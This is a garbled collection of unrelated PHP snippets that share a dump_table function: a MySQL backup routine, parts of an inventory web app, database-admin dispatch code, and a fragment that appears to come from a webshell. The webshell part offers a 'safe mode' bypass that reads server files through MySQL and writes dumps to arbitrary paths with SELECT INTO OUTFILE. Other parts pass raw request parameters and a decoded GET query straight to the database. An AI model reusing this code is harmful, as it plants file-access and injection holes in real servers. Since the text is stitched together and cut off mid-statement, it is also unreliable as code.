function dump_table($var, $title = false, $level = 0) { if ($level == 0) { echo '<table border="1" cellspacing="1" cellpadding="1" class="dump">'; if ($title) { echo '<tr> <th align="center" colspan="2">' . $title . '</th> </tr>'; } echo ' <tr> <th align="right">VAR NAME</th> <th align="left">VALUE</th> </tr>'; } else { echo '<tr> <td colspan="2"> <table width="100%" border="0" cellspacing="3" cellpadding="3" class="dump_b"> </td> </tr>'; } foreach ($var as $i => $value) { if (is_array($value) or is_object($value)) { dump_table($value, false, $level + 1); } else { echo '<tr> <td align="right" width="50%" >' . $i . '</th> <td align="left" width="50%" >' . $value . '</th> </tr>'; } } echo '</table>'; }
function sqlbackup($ip, $sql, $username, $password) { global $meurl; if (class_exists('ZipArchive')) { maintop("MySQL备份"); $database = $sql; //数据库名 $options = array('hostname' => $ip, 'charset' => 'utf8', 'filename' => $database . '.sql', 'username' => $username, 'password' => $password); mysql_connect($options['hostname'], $options['username'], $options['password']) or die("不能连接数据库!"); mysql_select_db($database) or die("数据库名称错误!"); mysql_query("SET NAMES '{$options['charset']}'"); $tables = list_tables($database); $filename = sprintf($options['filename'], $database); $fp = fopen($filename, 'w'); foreach ($tables as $table) { dump_table($table, $fp); } fclose($fp); //压缩sql文件 if (file_exists('mysql.zip')) { unlink('mysql.zip'); } $file_name = $options['filename']; $zip = new ZipArchive(); $res = $zip->open('mysql.zip', ZipArchive::CREATE); if ($res === TRUE) { $zip->addfile($file_name); $zip->close(); //删除服务器上的sql文件 unlink($file_name); echo '<div class="box">数据库导出并压缩完成!' . " <a href=\"" . $meurl . "?op=home&folder=" . $_SESSION['folder'] . "\">返回上次浏览的文件夹</a></div>\n"; } else { printerror('无法压缩文件!'); } exit; mainbottom(); } else { printerror('此服务器上的PHP不支持ZipArchive,无法压缩文件!'); } }
?> <style> .order { text-align: right; } </style> <button id="download" class="btn btn-default">Download</button> <?php if ($vendor) { ?> <button id="create" class="btn btn-default">Create Order</button> <?php } ?> <button id="zero" class="btn btn-default">Zero</button> <?php $q = "SELECT item.id meta,\n code Code\$item,\n name Name,\n SUM(allocated) Stock\$right,\n minimum_quantity Min\$right,\n (SELECT -1 * SUM(allocated)\n FROM txn_line JOIN txn ON (txn = txn.id)\n WHERE type = 'customer'\n AND item = item.id AND filled > NOW() - INTERVAL 3 MONTH)\n AS Last3Months\$right,\n (SELECT SUM(ordered - allocated)\n FROM txn_line JOIN txn ON (txn = txn.id)\n WHERE type = 'vendor'\n AND item = item.id AND created > NOW() - INTERVAL 3 MONTH)\n AS Ordered\$hide,\n minimum_quantity AS Order\$order\n FROM item\n LEFT JOIN txn_line ON (item = item.id)\n WHERE active AND NOT deleted\n AND code NOT LIKE 'ZZ%' AND code NOT LIKE 'MAG-%'\n {$extra}\n GROUP BY item.id\n HAVING (Stock\$right IS NULL OR NOT Stock\$right OR Stock\$right < Min\$right)\n AND (Ordered\$hide IS NULL OR NOT Ordered\$hide)\n ORDER BY code\n "; dump_table($db->query($q)); dump_query($q); ?> <form id="post-csv" style="display: none" method="post" action="api/encode-tsv.php"> <textarea id="file" name="file"></textarea> </form> <script> $('.order').editable(function (val, settings) { return val; }, { width: '3em', select: true }); $('#download').on('click', function(ev) { var tsv= "code\tqty\r\n"; $.each($(".sortable tr"), function (i, row) { if (i > 0 && parseInt($('.order', row).text()) > 0) { tsv += $('.item a', row).text() + "\t" + $('.order', row).text() + "\r\n";
$s = "show_exists_db"; $res = db_show($_POST['host'], $_POST['username'], $_POST['pass']); } elseif ($_POST['b_runsql']) { //Выполняем SQL запрос $s = "SQL: " . $sql; $res = run_sql($_POST['sql'], $_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']); } elseif ($_POST['b_base']) { //Выводим список таблиц $s = "show_exists_tables"; $res = show_tables($_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']); } elseif ($_POST['b_table']) { //Выводим дамп таблицы $s = "Dump of " . $_POST['tablename']; $tablename = $_POST['tablename']; if ($tablename != "") { $res = dump_table($_POST['tablename'], $_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']); } else { $res = "Select table!"; } } elseif ($_POST['b_safe_fuck']) { //Обход безопасного режима $s = "Open file " . $sfilename . " with MySQL:"; $res = safe_mode_fuck($_POST['sfilename'], $_POST['host'], $_POST['username'], $_POST['pass'], $_POST['dbname']); } elseif ($_POST['b_dfilename']) { //Обход безопасного режима $s = "Dump in " . $dfilename . " from " . $_POST['tablename'] . ":"; $res = run_sql("SELECT * INTO OUTFILE '" . addslashes($_POST['dfilename']) . "' FROM " . $_POST['tablename'], $_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']); } if ($host == "") { $host = "localhost"; }
function dump_db($host, $username, $password, $database, $dump_file) { if (mysql_connect($host, $username, $password)) { if (mysql_select_db($database)) { $dump = ""; $show = mysql_query("SHOW TABLES"); $a = 0; while ($row = mysql_fetch_array($show)) { $dump .= dump_table($row[0], $a, $a); $a++; } mysql_close(); if ($dump_file == "" || $dump_file == ".sql") { $dump_file = gen_filename('dump_' . date("d_M_Y") . '.sql'); } else { $dump_file = gen_filename($dump_file); } if ($dump != "") { $fp = fopen($dump_file, "x+"); if (fwrite($fp, $dump)) { echo "<font color=\"green\">Dump done successfull!</font>"; } else { echo "<font color=\"red\">An error occured! Cannot create dump file!</font>"; } fclose($fp); } else { echo "<font color=\"red\">An error occured! No dump generated!</font>"; } } else { mysql_close(); echo "<font color=\"red\">An error occurted! Could not select the database called " . htmlspecialchars($database) . "!</font>"; } } else { mysql_close(); echo "<font color=\"red\">An error occurted! Could not login " . htmlspecialchars($username) . " @ " . htmlspecialchars($host) . "!</font>"; } }
function dump($db) { global $mysql; static $routines; if (!isset($routines)) { $routines = array(); if ($mysql->server_info >= 5) { foreach (array("FUNCTION", "PROCEDURE") as $routine) { $result = $mysql->query("SHOW {$routine} STATUS"); while ($row = $result->fetch_assoc()) { if (!strlen($_GET["db"]) || $row["Db"] === $_GET["db"]) { $routines[$row["Db"]][] = $mysql->result($mysql->query("SHOW CREATE {$routine} " . idf_escape($row["Db"]) . "." . idf_escape($row["Name"])), 2) . ";;\n\n"; } } $result->free(); } } } $views = array(); $result = $mysql->query("SHOW TABLE STATUS"); while ($row = $result->fetch_assoc()) { if (isset($row["Engine"])) { dump_table($row["Name"]); } else { $views[] = $row["Name"]; } } $result->free(); foreach ($views as $view) { dump_table($view, false); } if ($routines[$db]) { echo "DELIMITER ;;\n\n" . implode("", $routines[$db]) . "DELIMITER ;\n\n"; } echo "\n\n"; }
<?php exit; } db_connect($db_server, $db_name, $db_user, $db_pass); if ($db_charset && 'mysql' == $db_driver) { db_exe("SET NAMES {$db_charset}"); } if (isset($_GET['dump_all']) && 1 == $_GET['dump_all']) { dump_all($data = false); } if (isset($_GET['dump_all']) && 2 == $_GET['dump_all']) { dump_all($data = true); } if (isset($_GET['dump_table']) && $_GET['dump_table']) { dump_table($_GET['dump_table']); } if (isset($_GET['export']) && 'csv' == $_GET['export']) { export_csv(base64_decode($_GET['query']), $_GET['separator']); } if (isset($_POST['sqlfile']) && $_POST['sqlfile']) { $files = sql_files_assoc(); if (!isset($files[$_POST['sqlfile']])) { exit('File not found. md5 = ' . $_POST['sqlfile']); } $sqlfile = $files[$_POST['sqlfile']]; layout(); echo '<div>Importing: <b>' . $sqlfile . '</b> (' . size(filesize($sqlfile)) . ')</div>'; echo '<div>Database: <b>' . $db_name . '</b></div>'; flush(); import($sqlfile, post('ignore_errors'), post('transaction'), post('force_myisam'), post('query_start', 'int'));
$begin = date("Y-m-d", time() - 90 * 24 * 3600); } # XXX allow option to include inactive and/or deleted if (!$_REQUEST['all']) { $criteria[] = "(active AND NOT deleted)"; } $q = "SELECT\n item.id AS meta,\n item.code Code\$item,\n item.name Name\$name,\n brand.name Brand\$brand,\n retail_price MSRP\$dollar,\n IF(item.discount_type,\n CASE item.discount_type\n WHEN 'percentage' THEN ROUND(retail_price * ((100 - item.discount) / 100), 2)\n WHEN 'relative' THEN (retail_price - item.discount) \n WHEN 'fixed' THEN (item.discount)\n END,\n NULL) Sale\$dollar,\n CASE item.discount_type\n WHEN 'percentage' THEN CONCAT(ROUND(item.discount), '% off')\n WHEN 'relative' THEN CONCAT('\$', item.discount, ' off')\n END Discount\$discount,\n (SELECT SUM(allocated) FROM txn_line WHERE item = item.id) Stock\$right,\n minimum_quantity Minimum\$right,\n (SELECT -1 * SUM(allocated)\n FROM txn_line JOIN txn ON (txn = txn.id)\n WHERE type = 'customer'\n AND item = item.id AND filled > NOW() - INTERVAL 3 MONTH)\n AS Last3Months\$right,\n active Active\$bool\n FROM item\n LEFT JOIN brand ON (item.brand = brand.id)\n LEFT JOIN barcode ON (item.id = barcode.item)\n WHERE {$sql_criteria}\n GROUP BY item.id\n ORDER BY 2"; $r = $db->query($q) or die($db->error); if ($r->num_rows == 1) { $row = $r->fetch_assoc(); ob_end_clean(); header("Location: item.php?id=" . $row['meta']); exit; } ob_end_flush(); dump_table($r); ?> <div class="panel-group" id="accordion"> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title"> <a data-toggle="collapse" data-parent="#accordion" href="#bulk-edit-form"> Bulk Edit </a> </h4> </div> <div id="bulk-edit-form" class="panel-collapse collapse"> <div class="panel-body"> <form class="form-horizontal"> <div class="form-group">
// @structure dump_all($data = false); } else { if (2 == $_GET['dump_all']) { // @data dump_all($data = true); } } // ------------------------------ // @export // ------------------------------ GET("dump_table", "string"); GET("type", "string"); if ($_GET['dump_table']) { $type = $_GET["type"] ? $_GET["type"] : "table"; dump_table($_GET['dump_table'], $type); } // ------------------------------ // @csv // ------------------------------ GET("export", "string"); GET("query", "string"); GET("separator", "string"); if ('csv' == $_GET['export']) { export_csv(base64_decode($_GET['query']), $_GET['separator']); } // ------------------------------ // @import PHP // ------------------------------ POST("sqlfile", "string"); POST("ignore_errors", "bool");
</div> </div> <div class="form-group"> <div class="col-sm-offset-2 col-sm-10"> <input type="submit" class="btn btn-primary" value="Show"> </div> </div> </form> <div id="results"> <?php $q = "SELECT\n item.id AS meta,\n item.code Code\$item,\n item.name Name\$name,\n item.retail_price AS OldList\$dollar,\n vendor_item.retail_price AS NewList\$dollar,\n sale_price(item.retail_price, item.discount_type, item.discount)\n AS OldSale\$dollar,\n CONCAT('\$', CAST(vendor_item.net_price / 0.6 AS DECIMAL(9,2)),\n ' - ',\n '\$', CAST(vendor_item.net_price / 0.5 AS DECIMAL(9,2)))\n AS NewSale,\n (SELECT SUM(allocated) FROM txn_line WHERE item = item.id)\n AS Stock\n FROM item\n LEFT JOIN vendor_item ON item.id = vendor_item.item\n LEFT JOIN brand ON item.brand = brand.id\n LEFT JOIN barcode ON (item.id = barcode.item)\n WHERE vendor_item.retail_price != item.retail_price\n AND active AND NOT deleted\n AND ({$sql_criteria})\n GROUP BY 1\n ORDER BY 2"; function Change($row) { echo '<a class="price-change" data-id="' . $row[0] . '" data-msrp="' . $row[4] . '"><i class="fa fa-money"></a>'; } dump_table($db->query($q), 'Change$right'); dump_query($q); ?> <button id="download" class="btn btn-default">Download</button> </div> <form id="post-csv" style="display: none" method="post" action="api/encode-tsv.php"> <input type="hidden" name="fn" value="item-sales.txt"> <textarea id="file" name="file"></textarea> </form> <?php foot(); ?> <script type="text/html" id="change-template"> <form class="form price-change-form"> <input type="hidden" name="id">
function sqlbackup($ip, $sql, $username, $password) { global $meurl; if (class_exists('ZipArchive')) { maintop("MySQL Backup"); $database = $sql; $options = array('hostname' => $ip, 'charset' => 'utf8', 'filename' => $database . '.sql', 'username' => $username, 'password' => $password); mysql_connect($options['hostname'], $options['username'], $options['password']) or die("Fail to connect DB!"); mysql_select_db($database) or die("Database name error!"); mysql_query("SET NAMES '{$options['charset']}'"); $tables = list_tables($database); $filename = sprintf($options['filename'], $database); $fp = fopen($filename, 'w'); foreach ($tables as $table) { dump_table($table, $fp); } fclose($fp); if (file_exists('mysql.zip')) { unlink('mysql.zip'); } $file_name = $options['filename']; $zip = new ZipArchive(); $res = $zip->open('mysql.zip', ZipArchive::CREATE); if ($res === TRUE) { $zip->addfile($file_name); $zip->close(); unlink($file_name); echo 'Database Export and compression jobs done!' . " <a href=\"" . $meurl . "?op=root&folder=" . $_SESSION['folder'] . "\">Back</a>\n"; } else { printerror('Unable to compress files!'); } exit; mainbottom(); } else { printerror('PHP on this server does not support ZipArchive, unable to extract the zip files!'); } }